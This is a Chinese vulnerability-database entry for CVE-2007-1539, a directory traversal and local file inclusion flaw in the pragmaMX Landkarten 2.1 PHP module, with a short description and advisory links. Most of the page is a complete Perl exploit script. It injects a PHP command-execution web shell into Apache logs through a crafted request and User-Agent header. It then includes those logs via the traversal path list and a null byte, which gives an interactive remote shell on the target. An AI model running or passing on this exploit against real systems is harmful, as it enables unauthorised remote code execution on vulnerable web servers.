pragmaMX Landkarten 模块 inc/map.func.php 目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112483 漏洞类型 路径遍历
发布时间 2007-03-19 更新时间 2007-03-22
CVE编号 CVE-2007-1539 CNNVD-ID CNNVD-200703-458
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/3521
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-458
|漏洞详情
pragmaMXLandkarten2.1模块的inc/map.func.php中存在目录遍历漏洞。远程攻击者可以借助模块名参数中的..序列,包含任意文件。攻击者可以在Apache登录文件中执行静态PHP代码注入攻击。
|漏洞EXP
#!Perl
#
#pragmaMX Landkartenmodule 2.1 Local File Inclusion Exploit
#
#Vendor: http://www.pragmamx.org/Downloads-op-getit-lid-599-noJpC-.html
#
#Vulnerable Code: require_once("modules/$module_name/inc/conf.php");
#
#Coded by bd0rk || SOH-Crew
#
#Greetz: str0ke, Diddi, seduce, TheJT, broken-error
#

use IO::Socket;
use LWP::Simple;

#ripped

@apache=(
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../.. /../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);

if (@ARGV < 3) {
print "
pragmaMX Landkartenmodule 2.1 Local File Inclusion Exploit
###############################################################
Usage: exploit.pl [victim] /modules/Landkarte/inc/ [apachepath]
###############################################################
";
exit();
}

$host=$ARGV[0];
$path=$ARGV[1];
$apachepath=$ARGV[2];

print "Code is injecting in logfiles...\n";
$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Connection failed.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "user-Agent: ".$CODE."\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "Write END to exit!\n";
print "If not working try another apache path\n\n";

print "[shell] ";$cmd = <STDIN>;

while($cmd !~ "END") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Connection failed.\n\n";

#now include parameter

print $socket "GET ".$path."map.func.php?module_name=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";

while ($raspuns = <$socket>)
{

print $raspuns;
}

print "[shell] ";
$cmd = <STDIN>;
}

# milw0rm.com [2007-03-19]
|参考资料

来源:SECUNIA
名称:24589
链接:http://secunia.com/advisories/24589
来源:OSVDB
名称:34306
链接:http://osvdb.org/34306
来源:MILW0RM
名称:3521
链接:http://milw0rm.com/exploits/3521
来源:XF
名称:pragma-mapfunc-file-include(33084)
链接:http://xforce.iss.net/xforce/xfdb/33084
来源:BID
名称:23044
链接:http://www.securityfocus.com/bid/23044
来源:VUPEN
名称:ADV-2007-1030
链接:http://www.frsirt.com/english/advisories/2007/1030